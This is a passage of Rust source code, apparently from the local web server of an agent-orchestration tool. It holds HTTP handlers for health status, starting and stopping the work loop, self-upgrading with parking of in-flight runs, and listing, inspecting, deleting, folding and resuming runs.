1797}
1798
1799async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1823 loop {
1824 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1825 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1826 if !should_spawn_recheck(&cfg.update) {
1827 continue;
1828 }
1829 let Some(checker) = updater::Checker::new(&cfg.update) else {
1830 continue;
1831 };
1832 let progress = updater::read_progress(&home);
1833 if !update_recheck_due(&checker, progress.as_ref()) {
1834 continue;
1835 }
1836 if let Err(e) = checker.newer_release().await {
1837 tracing::warn!("background update recheck failed: {e:#}");
1838 }
1839 }
1840}
1841
1842fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1848 let default;
1849 let cfg = match cfg {
1850 Some(cfg) => cfg,
1851 None => {
1852 default = Config::default();
1853 &default
1854 }
1855 };
1856 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1857 match latest {
1858 Some(latest) => UpdateView {
1859 available: true,
1860 to: Some(latest.tag_name),
1861 },
1862 None => UpdateView {
1863 available: false,
1864 to: None,
1865 },
1866 }
1867}
1868
1869fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1875 let waiting_on = (progress.stage == updater::Stage::Parking)
1876 .then_some(progress.parked_run.as_deref())
1877 .flatten()
1878 .and_then(|id| read_run(&ui.runs, id).ok())
1879 .map(|run| {
1880 format!(
1881 "run {} is finishing {} before the address is handed over",
1882 run.short(),
1883 run.status.as_str()
1884 )
1885 });
1886 let detail = progress
1887 .detail
1888 .clone()
1889 .or_else(|| updater::read_note(&ui.home, &progress));
1890 let stalled = updater::stall(&progress, Timestamp::now());
1891 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1892 UpgradeProgressView {
1893 stuck_for_secs: stalled.map(|s| s.age_secs),
1894 stage: progress.stage,
1895 from: progress.from,
1896 to: progress.to,
1897 waiting_on,
1898 started_at: progress.started_at,
1899 updated_at: progress.updated_at,
1900 detail,
1901 }
1902}
1903
1904#[derive(Debug, Serialize)]
1909struct DiskView {
1910 #[serde(skip_serializing_if = "Option::is_none")]
1912 free_bytes: Option<u64>,
1913 runs_bytes: u64,
1915 worktrees_bytes: u64,
1917 #[serde(skip_serializing_if = "Option::is_none")]
1919 cache_bytes: Option<u64>,
1920}
1921
1922impl DiskView {
1923 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1925 let cache_bytes = cfg
1926 .and_then(|cfg| cfg.cache_dir())
1927 .map(|dir| crate::disk::dir_size(&dir));
1928 Self {
1929 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1930 runs_bytes: crate::disk::dir_size(&ui.runs),
1931 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1932 cache_bytes,
1933 }
1934 }
1935}
1936
1937#[derive(Debug, Serialize)]
1939struct DaemonView {
1940 running: bool,
1941 idle: Option<bool>,
1942 pid: Option<u32>,
1943 current: Vec<daemon::Current>,
1947 completed: Option<u64>,
1948 stale_for_secs: Option<i64>,
1949}
1950
1951impl DaemonView {
1952 fn of(status: Option<daemon::Reading>) -> Self {
1956 let Some(status) = status else {
1957 return Self {
1958 running: false,
1959 idle: None,
1960 pid: None,
1961 current: Vec::new(),
1962 completed: None,
1963 stale_for_secs: None,
1964 };
1965 };
1966 let now = Timestamp::now();
1967 let age = status.age_secs(now);
1968 Self {
1969 running: status.running(now),
1970 idle: Some(status.idle),
1971 pid: status.pid,
1972 current: status.current,
1973 completed: Some(status.completed),
1974 stale_for_secs: age,
1975 }
1976 }
1977}
1978
1979async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1980 blocking(move || {
1981 let reading = daemon::read_status(&ui.home);
1985 let loop_rev = ui.lock_loop().rev;
1989 let cfg = deputy_config(&ui.repo);
1992 let update = cached_update_view(cfg.as_ref());
1993 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1994 Ok(Json(HealthView {
1995 version: env!("CARGO_PKG_VERSION"),
1996 home: ui.home.display().to_string(),
1997 queue_rev: ui.queue.revision(),
1998 runs_rev: runs_revision(&ui.runs),
1999 questions_rev: ui.questions.revision(),
2000 talks_rev: ui.talks.revision(),
2001 notifications_rev: ui.notices.revision(),
2002 notifications_unread: ui.notices.count_unread(),
2003 loop_rev,
2004 runs_unreadable: runs_unreadable(&ui.runs),
2005 questions_open: ui.questions.count_open(),
2006 questions_needs_owner: ui.questions.count_needs_owner(),
2007 daemon: DaemonView::of(reading.clone()),
2008 looping: ui.loop_view(reading),
2009 disk: DiskView::of(&ui, cfg.as_ref()),
2010 update,
2011 upgrade,
2012 }))
2013 })
2014 .await
2015}
2016
2017#[derive(Debug, Serialize)]
2019struct LoopView {
2020 running: bool,
2022 stopping: bool,
2030 parking: bool,
2038 owned: bool,
2046 repo: String,
2049 merge: Option<String>,
2052 last_error: Option<String>,
2060 daemon: DaemonView,
2063}
2064
2065#[derive(Debug, Clone, Copy)]
2074struct Foreign {
2075 pid: Option<u32>,
2077}
2078
2079impl Foreign {
2080 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2083 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2087 }
2088
2089 fn who(&self) -> String {
2092 match self.pid {
2093 Some(pid) => format!("another magi process (pid {pid})"),
2094 None => "another magi process".to_owned(),
2095 }
2096 }
2097}
2098
2099type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2104
2105fn launch_daemon(
2107 opts: daemon::Opts,
2108 stop: daemon::Stop,
2109) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2110 Box::pin(daemon::serve_until(opts, stop))
2111}
2112
2113#[derive(Debug, Default)]
2115struct LoopState {
2116 live: Option<Live>,
2118 rev: u64,
2126 last_error: Option<String>,
2129 resume_after_handover: bool,
2134}
2135
2136#[derive(Debug)]
2138struct Live {
2139 stop: daemon::Stop,
2141 handle: tokio::task::JoinHandle<()>,
2146 opts: daemon::Opts,
2150}
2151
2152impl Live {
2153 fn alive(&self) -> bool {
2155 !self.handle.is_finished()
2156 }
2157}
2158
2159fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2166 state.lock().unwrap_or_else(PoisonError::into_inner)
2167}
2168
2169async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2171 blocking(move || {
2172 let reading = daemon::read_status(&ui.home);
2173 Ok(Json(ui.loop_view(reading)))
2174 })
2175 .await
2176}
2177
2178#[derive(Debug, Deserialize)]
2184#[serde(deny_unknown_fields)]
2185struct LoopCommand {
2186 running: bool,
2187 #[serde(default)]
2197 park: bool,
2198}
2199
2200async fn loop_post(
2208 State(ui): State<Arc<Ui>>,
2209 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2210) -> ApiResult<Json<LoopView>> {
2211 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2214 blocking(move || {
2215 let reading = daemon::read_status(&ui.home);
2216 let foreign = Foreign::of(reading.as_ref());
2217 if body.running {
2218 ui.start_loop(foreign)?;
2219 } else {
2220 ui.stop_loop(foreign, body.park)?;
2221 }
2222 Ok(Json(ui.loop_view(reading)))
2223 })
2224 .await
2225}
2226
2227#[derive(Debug, Serialize)]
2229struct UpgradeView {
2230 from: String,
2232 to: Option<String>,
2234 parked: Option<String>,
2236 detail: String,
2238}
2239
2240async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2264 let reading = daemon::read_status(&ui.home);
2265 if let Some(other) = Foreign::of(reading.as_ref()) {
2266 return Err(ApiError::conflict(format!(
2267 "the loop belongs to {}, so replacing this binary would leave \
2268 that process running an old one against the same queue. Upgrade \
2269 where it was started.",
2270 other.who()
2271 )));
2272 }
2273
2274 if crate::updater::disabled_by_env() {
2280 return Ok((
2281 StatusCode::OK,
2282 Json(UpgradeView {
2283 from: env!("CARGO_PKG_VERSION").to_owned(),
2284 to: None,
2285 parked: None,
2286 detail: format!(
2287 "Automatic updates are disabled by {}. Nothing was parked \
2288 and nothing restarted.",
2289 crate::updater::NO_AUTOUPDATE_ENV
2290 ),
2291 }),
2292 ));
2293 }
2294
2295 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2300 let from = env!("CARGO_PKG_VERSION").to_owned();
2301 let latest = match crate::updater::Checker::new(&cfg.update) {
2302 Some(checker) => checker
2303 .newer_release()
2304 .await
2305 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2306 None => None,
2307 };
2308 let Some(latest) = latest else {
2309 return Ok((
2310 StatusCode::OK,
2311 Json(UpgradeView {
2312 from,
2313 to: None,
2314 parked: None,
2315 detail: "Already on the newest release. Nothing was parked \
2316 and nothing restarted."
2317 .to_owned(),
2318 }),
2319 ));
2320 };
2321
2322 let parked = ui.park_for_upgrade()?;
2325 let detail = match &parked {
2326 Some(run) => format!(
2331 "Run {} is parking at its next step, which can take as long as \
2332 the step it is on - up to an hour for an implement wave. The \
2333 deck replaces itself once it parks, comes back, and the loop \
2334 carries that run on from where it stopped. Nothing is lost if \
2335 you close this.",
2336 crate::run::short_of(run)
2337 ),
2338 None => "The deck replaces itself and comes back. Nothing was in \
2339 flight to park."
2340 .to_owned(),
2341 };
2342
2343 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2347 progress.parked_run = parked.clone();
2348 let _ = updater::write_progress(&ui.home, &progress);
2349
2350 let home = ui.home.clone();
2351 let looping = ui.looping();
2352 tokio::spawn(async move {
2353 if let Err(e) = upgrade_and_restart(home.clone()).await {
2354 tracing::error!("the upgrade did not complete: {e:#}");
2355 lock_or_recover(&looping).resume_after_handover = false;
2356 if let Some(mut progress) = updater::read_progress(&home) {
2357 progress.fail(format!("{e:#}"));
2358 let _ = updater::write_progress(&home, &progress);
2359 }
2360 }
2361 });
2362
2363 Ok((
2364 StatusCode::ACCEPTED,
2365 Json(UpgradeView {
2366 from,
2367 to: Some(latest.tag_name),
2368 parked,
2369 detail,
2370 }),
2371 ))
2372}
2373
2374async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2379 crate::updater::run_self_update(true, false, true).await?;
2382 updater::log_step(&home, "binary replaced - recording the replaced stage");
2383 if let Some(mut progress) = updater::read_progress(&home) {
2384 progress.advance(updater::Stage::Replaced);
2385 updater::write_progress_logged(&home, &progress);
2386 }
2387 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2388 HANDOVER.notify_one();
2389 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2390 Ok(())
2391}
2392
2393#[derive(Debug, Serialize)]
2399struct RunSummary {
2400 id: String,
2401 short: String,
2402 status: String,
2403 done: bool,
2404 instruction: String,
2405 title: String,
2406 repo: String,
2407 repo_name: String,
2408 created_at: String,
2409 updated_at: String,
2410 candidates: usize,
2411 viable: usize,
2412 judges: usize,
2413 winner: Option<char>,
2414 reviews: usize,
2415 quota_losses: usize,
2416 event: Option<String>,
2417 superseded_by: Option<String>,
2422 waiting: bool,
2429 live: crate::run::Liveness,
2433 pr: Option<crate::run::PrRecord>,
2435 unmerged_by_design: bool,
2441 origin_label: String,
2444}
2445
2446impl RunSummary {
2447 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2448 Self {
2449 id: state.id.clone(),
2450 short: state.short().to_owned(),
2451 status: status_word(state.status),
2452 done: state.status.done(),
2453 unmerged_by_design: state.unmerged_by_design(),
2454 instruction: state.instruction.clone(),
2455 title: title_from(&state.instruction, TITLE_MAX),
2456 repo: state.repo.display().to_string(),
2457 repo_name: state
2458 .repo
2459 .file_name()
2460 .map(|n| n.to_string_lossy().into_owned())
2461 .unwrap_or_default(),
2462 created_at: state.created_at.to_string(),
2463 updated_at: state.updated_at.to_string(),
2464 candidates: state.candidates.len(),
2465 viable: state.viable().len(),
2466 judges: state.config.graph.judges,
2467 winner: state.winner().map(|c| c.label),
2468 reviews: state.reviews.len(),
2469 quota_losses: state.quota.len(),
2470 event: state.events.last().map(|e| e.message.clone()),
2471 waiting,
2472 live,
2473 superseded_by: None,
2476 pr: state.pr.clone(),
2477 origin_label: crate::run::origin_label(state.origin.as_ref()),
2478 }
2479 }
2480}
2481
2482fn status_word(status: RunStatus) -> String {
2485 status.as_str().to_owned()
2489}
2490
2491#[derive(Debug, Deserialize)]
2493struct ListQuery {
2494 #[serde(default)]
2495 limit: Option<usize>,
2496}
2497
2498async fn runs_list(
2499 State(ui): State<Arc<Ui>>,
2500 Query(q): Query<ListQuery>,
2501) -> ApiResult<Json<Vec<RunSummary>>> {
2502 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2503 blocking(move || {
2504 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2505 let states = run_ids(&ui.runs)
2506 .into_iter()
2507 .filter_map(|id| read_run(&ui.runs, &id).ok())
2512 .take(limit);
2513 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2514 let summaries = summarize(
2515 states,
2516 &open_runs,
2517 &claimed,
2518 &superseded,
2519 |p| probe.borrow_mut().status(p),
2520 |p| probe.borrow_mut().started_at(p),
2521 );
2522 Ok(Json(summaries))
2523 })
2524 .await
2525}
2526
2527fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2532 let open_runs: HashSet<String> = ui
2533 .questions
2534 .list()
2535 .into_iter()
2536 .filter(|q| q.status.open())
2537 .map(|q| q.run)
2538 .collect();
2539 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2540 .into_iter()
2541 .map(|c| c.run)
2542 .collect();
2543 (open_runs, claimed, ui.queue.superseded())
2544}
2545
2546fn summarize<I, S, D>(
2552 states: I,
2553 open_runs: &HashSet<String>,
2554 claimed: &HashSet<String>,
2555 superseded: &HashMap<String, String>,
2556 mut status_q: S,
2557 mut identity_q: D,
2558) -> Vec<RunSummary>
2559where
2560 I: IntoIterator<Item = RunState>,
2561 S: FnMut(u32) -> Option<bool>,
2562 D: FnMut(u32) -> Option<String>,
2563{
2564 states
2565 .into_iter()
2566 .map(|state| {
2567 let waiting = open_runs.contains(&state.id);
2568 let live =
2569 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2570 let mut row = RunSummary::of(&state, waiting, live);
2571 row.superseded_by = superseded
2572 .get(&state.id)
2573 .map(String::as_str)
2574 .map(crate::run::short_of)
2575 .map(str::to_owned);
2576 row
2577 })
2578 .collect()
2579}
2580
2581#[derive(Debug, Serialize)]
2588struct RunDetailView {
2589 #[serde(flatten)]
2590 state: RunState,
2591 instruction_md: Vec<md::Node>,
2592 #[serde(flatten)]
2596 prose_md: RunProseMd,
2597 live: crate::run::Liveness,
2612 unmerged_by_design: bool,
2617 done: bool,
2622 superseded_by: Option<String>,
2630 latest_attempt: Option<LatestAttempt>,
2644 task: Option<TaskRef>,
2647 origin_label: String,
2651}
2652
2653#[derive(Debug, Serialize)]
2655struct TaskRef {
2656 id: String,
2657 short: String,
2658 title: String,
2659 source_label: String,
2661 source_link: Option<SourceLink>,
2663 status: &'static str,
2665 attempts: usize,
2666 max_attempts: usize,
2667 is_latest: bool,
2669 latest: Option<RunBrief>,
2671 finished_by: Option<RunBrief>,
2673 closed_by_hand: bool,
2675}
2676
2677#[derive(Debug, PartialEq, Eq, Serialize)]
2679struct SourceLink {
2680 kind: &'static str,
2682 id: String,
2684 href: String,
2686}
2687
2688fn encode_segment(raw: &str) -> String {
2690 let mut out = String::with_capacity(raw.len());
2691 for b in raw.bytes() {
2692 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2693 out.push(b as char);
2694 } else {
2695 out.push_str(&format!("%{b:02X}"));
2696 }
2697 }
2698 out
2699}
2700
2701fn source_link(source: &Source) -> Option<SourceLink> {
2705 let Source::Agent { run, node } = source else {
2706 return None;
2707 };
2708 let (kind, route) = if node == crate::queue::CHAT_NODE {
2709 ("chat", "chat")
2710 } else {
2711 ("run", "runs")
2712 };
2713 Some(SourceLink {
2714 kind,
2715 id: run.clone(),
2716 href: format!("#/{route}/{}", encode_segment(run)),
2717 })
2718}
2719
2720#[derive(Debug, Serialize)]
2722struct RunBrief {
2723 id: String,
2724 short: String,
2725 status: Option<&'static str>,
2727 outcome: String,
2729}
2730
2731fn task_outcome(
2734 task: &Task,
2735 this_run: &str,
2736 max_attempts: usize,
2737 read: impl Fn(&str) -> Option<RunState>,
2738) -> TaskRef {
2739 let history = task_history(task, read);
2740 let brief = |h: &TaskRunView| RunBrief {
2741 id: h.id.clone(),
2742 short: h.short.clone(),
2743 status: h.status,
2744 outcome: h.exit.edge_label(h.status),
2745 };
2746 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2747 let latest = if is_latest {
2748 None
2749 } else {
2750 history.last().map(brief)
2751 };
2752 let done = task.status == TaskStatus::Done;
2753 let finished_by = done
2754 .then(|| {
2755 history
2756 .iter()
2757 .rev()
2758 .find(|h| {
2759 matches!(
2760 h.exit,
2761 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2762 )
2763 })
2764 .map(brief)
2765 })
2766 .flatten();
2767 TaskRef {
2768 short: task.short().to_owned(),
2769 title: task.title.clone(),
2770 id: task.id.clone(),
2771 source_label: task.source.label(),
2772 source_link: source_link(&task.source),
2773 status: task.status.as_str(),
2774 attempts: task.attempts,
2775 max_attempts,
2776 is_latest,
2777 latest,
2778 closed_by_hand: done && finished_by.is_none(),
2779 finished_by,
2780 }
2781}
2782
2783#[derive(Debug, Serialize)]
2785struct LatestAttempt {
2786 id: String,
2787 short: String,
2788 resolved: bool,
2799 status: RunStatus,
2802 done: bool,
2804}
2805
2806#[derive(Debug, Default, Serialize)]
2808struct RunProseMd {
2809 advice_md: Option<AdviceMd>,
2811 candidate_summaries_md: Vec<Vec<md::Node>>,
2813 reviews_md: Vec<RoundMd>,
2815}
2816
2817#[derive(Debug, Default, Serialize)]
2818struct AdviceMd {
2819 synthesis: Vec<md::Node>,
2820 approaches: Vec<Vec<md::Node>>,
2822}
2823
2824#[derive(Debug, Default, Serialize)]
2825struct RoundMd {
2826 reviewers: Vec<ReviewerMd>,
2828 reconsideration: Vec<Vec<md::Node>>,
2830 fix: Option<FixMd>,
2831}
2832
2833#[derive(Debug, Default, Serialize)]
2834struct ReviewerMd {
2835 summary: Vec<md::Node>,
2836 findings: Vec<Vec<md::Node>>,
2838}
2839
2840#[derive(Debug, Default, Serialize)]
2841struct FixMd {
2842 notes: Vec<md::Node>,
2843 rejected: Vec<Vec<md::Node>>,
2845}
2846
2847fn run_prose_md(state: &RunState) -> RunProseMd {
2849 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2850 RunProseMd {
2851 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2852 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2853 approaches: a
2854 .records
2855 .iter()
2856 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2857 .collect(),
2858 }),
2859 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2860 reviews_md: state
2861 .reviews
2862 .iter()
2863 .map(|round| RoundMd {
2864 reviewers: round
2865 .reviews
2866 .iter()
2867 .map(|rec| ReviewerMd {
2868 summary: nodes(&rec.summary),
2869 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2870 })
2871 .collect(),
2872 reconsideration: round
2873 .reconsideration
2874 .iter()
2875 .map(|rv| nodes(&rv.reason))
2876 .collect(),
2877 fix: round.fix.as_ref().map(|fix| FixMd {
2878 notes: nodes(&fix.notes),
2879 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2880 }),
2881 })
2882 .collect(),
2883 }
2884}
2885
2886impl RunDetailView {
2887 fn of(
2888 state: RunState,
2889 live: crate::run::Liveness,
2890 superseded_by: Option<String>,
2891 latest_attempt: Option<LatestAttempt>,
2892 task: Option<TaskRef>,
2893 ) -> Self {
2894 Self {
2895 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2896 prose_md: run_prose_md(&state),
2897 origin_label: crate::run::origin_label(state.origin.as_ref()),
2898 live,
2899 unmerged_by_design: state.unmerged_by_design(),
2900 done: state.status.done(),
2901 superseded_by,
2902 latest_attempt,
2903 task,
2904 state,
2905 }
2906 }
2907}
2908
2909async fn run_detail(
2910 State(ui): State<Arc<Ui>>,
2911 Path(id): Path<String>,
2912) -> ApiResult<Json<RunDetailView>> {
2913 blocking(move || {
2914 let id = resolve_run(&ui.runs, &id)?;
2915 let state = read_run(&ui.runs, &id)?;
2916 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2917 let live = state.liveness(daemon_claims);
2918 let superseded_by = ui
2919 .queue
2920 .superseded_by(&id)
2921 .as_deref()
2922 .map(crate::run::short_of)
2923 .map(str::to_owned);
2924 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2928 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2929 short: head.short().to_owned(),
2930 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2931 status: head.status,
2932 done: head.status.done(),
2933 id: head.id,
2934 })
2935 });
2936 let max_attempts = daemon::Opts::default().max_attempts;
2937 let task = ui
2938 .queue
2939 .list()
2940 .into_iter()
2941 .find(|t| t.runs.contains(&id))
2942 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2943 Ok(Json(RunDetailView::of(
2944 state,
2945 live,
2946 superseded_by,
2947 latest_attempt,
2948 task,
2949 )))
2950 })
2951 .await
2952}
2953
2954async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2963 let (id, unreadable) = {
2964 let ui = Arc::clone(&ui);
2965 blocking(move || {
2966 let id = resolve_run(&ui.runs, &id)?;
2967 match read_run(&ui.runs, &id) {
2968 Ok(state) => {
2969 let in_flight =
2970 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2971 state
2972 .ensure_can_delete(in_flight)
2973 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2974 let dir = ui.runs.join(&id);
2975 std::fs::remove_dir_all(&dir)
2976 .with_context(|| format!("remove run directory {}", dir.display()))?;
2977 Ok((id, false))
2978 }
2979 Err(_) => {
2980 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2984 return Err(ApiError::conflict(format!(
2985 "run {id} is being worked on by a live daemon right now"
2986 )));
2987 }
2988 Ok((id, true))
2989 }
2990 }
2991 })
2992 .await?
2993 };
2994 if unreadable {
2995 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2996 .await
2997 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2998 }
2999 let ui = Arc::clone(&ui);
3000 let done = id.clone();
3001 blocking(move || {
3002 ui.questions.abandon_for_run(
3005 &done,
3006 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3007 )?;
3008 Ok(())
3009 })
3010 .await?;
3011 Ok(StatusCode::NO_CONTENT)
3012}
3013
3014async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3038 let (id, state) = {
3039 let ui = Arc::clone(&ui);
3040 blocking(move || {
3041 let id = resolve_run(&ui.runs, &id)?;
3042 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3043 return Err(ApiError::conflict(format!(
3044 "run {id} is being worked on by a live daemon right now"
3045 )));
3046 }
3047 let state = read_run(&ui.runs, &id).ok();
3048 Ok((id, state))
3049 })
3050 .await?
3051 };
3052 let removed = match state {
3053 Some(mut state) => {
3054 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3055 .await
3056 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3057 if removed.is_empty() {
3062 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3063 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3064 }
3065 removed
3066 }
3067 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3068 .await
3069 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3070 };
3071 Ok(Json(FoldView {
3072 run: id,
3073 removed_count: removed.len(),
3074 removed,
3075 }))
3076}
3077
3078#[derive(Debug, Serialize)]
3080struct FoldView {
3081 run: String,
3082 removed: Vec<String>,
3084 removed_count: usize,
3085}
3086
3087#[derive(Debug, Deserialize)]
3090struct FoldMergedBody {
3091 #[serde(default)]
3092 pr_url: String,
3093}
3094
3095async fn run_fold_merged(
3115 State(ui): State<Arc<Ui>>,
3116 Path(id): Path<String>,
3117 Json(body): Json<FoldMergedBody>,
3118) -> ApiResult<Json<FoldMergedView>> {
3119 let pr_url = body.pr_url.trim().to_owned();
3120 if pr_url.is_empty() {
3121 return Err(ApiError::bad_request("pr_url is required"));
3122 }
3123 let (id, mut state) = {
3124 let ui = Arc::clone(&ui);
3125 blocking(move || {
3126 let id = resolve_run(&ui.runs, &id)?;
3127 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3128 return Err(ApiError::conflict(format!(
3129 "run {id} is being worked on by a live daemon right now"
3130 )));
3131 }
3132 let state = read_run(&ui.runs, &id)?;
3133 Ok((id, state))
3134 })
3135 .await?
3136 };
3137 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3138 .await
3139 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3140 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3141 .await
3142 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3143 Ok(Json(FoldMergedView {
3144 run: id,
3145 before: before.as_str().to_owned(),
3146 after: after.as_str().to_owned(),
3147 removed,
3148 }))
3149}
3150
3151#[derive(Debug, Serialize)]
3153struct FoldMergedView {
3154 run: String,
3155 before: String,
3157 after: String,
3159 removed: Vec<String>,
3161}
3162
3163async fn run_resume(
3183 State(ui): State<Arc<Ui>>,
3184 Path(id): Path<String>,
3185) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3186 let (id, state) = {
3187 let ui = Arc::clone(&ui);
3188 blocking(move || {
3189 let id = resolve_run(&ui.runs, &id)?;
3190 let state = read_run(&ui.runs, &id)?;
3191 Ok((id, state))
3192 })
3193 .await?
3194 };
3195 if let Some(to) = &state.released_to {
3196 return Err(ApiError::conflict(format!(
3197 "run {} can no longer be resumed: its worktree was released to run {}, which \
3198 took the branch over.",
3199 state.short(),
3200 crate::run::short_of(to)
3201 )));
3202 }
3203 if !state.status.resumable() {
3204 return Err(ApiError::conflict(format!(
3205 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3206 state.short(),
3207 status_word(state.status)
3208 )));
3209 }
3210 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3215 .into_iter()
3216 .next()
3217 {
3218 return Err(ApiError::conflict(format!(
3219 "the loop is running run {} right now; stop it first, or wait for \
3220 it to finish, before resuming a run by hand.",
3221 crate::run::short_of(&work.run)
3222 )));
3223 }
3224 let _resume = ui.begin_resume(&id)?;
3225
3226 let queued = RunSummary::of(
3229 &state,
3230 !ui.questions.open_for(&id).is_empty(),
3231 state.liveness(false),
3232 );
3233 let run = id.clone();
3234 tokio::spawn(async move {
3235 let _resume = _resume;
3236 match crate::graph::Runner::resume(&run) {
3237 Ok(mut runner) => {
3238 if let Err(e) = runner.execute().await {
3239 tracing::warn!("resume of run {run} stopped: {e:#}");
3240 }
3241 }
3242 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3245 }
3246 });
3247 Ok((StatusCode::ACCEPTED, Json(queued)))
3248}
3249
3250async fn run_report(
3251 State(ui): State<Arc<Ui>>,
3252 Path(id): Path<String>,
3253) -> ApiResult<impl IntoResponse> {
3254 let text = blocking(move || {
3255 let id = resolve_run(&ui.runs, &id)?;
3256 let state = read_run(&ui.runs, &id)?;
3260 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3261 let live = state.liveness(daemon_claims);
3262 Ok(format!(
3263 "{}{}",
3264 report::run(&state),
3265 report::active_seats(&state, live)
3266 ))
3267 })
3268 .await?;
3269 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3270}
3271
3272#[derive(Debug, Serialize)]
3278struct TaskView {
3279 #[serde(flatten)]
3280 task: Task,
3281 source_label: String,
3282 source_link: Option<SourceLink>,
3283 status_str: &'static str,
3284 instruction_md: Vec<md::Node>,
3288 waits_on: Vec<String>,
3292 stuck_roots: Vec<String>,
3295}
3296
3297impl From<Task> for TaskView {
3298 fn from(task: Task) -> Self {
3299 Self {
3300 source_label: task.source.label(),
3301 source_link: source_link(&task.source),
3302 status_str: task.status.as_str(),
3303 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3304 waits_on: Vec::new(),
3305 stuck_roots: Vec::new(),
3306 task,
3307 }
3308 }
3309}
3310
3311impl TaskView {
3312 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3313 let waits_on = inv.waits_on(&task);
3314 let stuck_roots = inv
3315 .stuck_roots(&task)
3316 .iter()
3317 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3318 .collect();
3319 Self {
3320 waits_on,
3321 stuck_roots,
3322 ..Self::from(task)
3323 }
3324 }
3325}
3326
3327#[derive(Debug, Default, Deserialize)]
3330#[serde(default)]
3331struct ReposQuery {
3332 refresh: u8,
3333}
3334
3335async fn repos_list(
3342 State(ui): State<Arc<Ui>>,
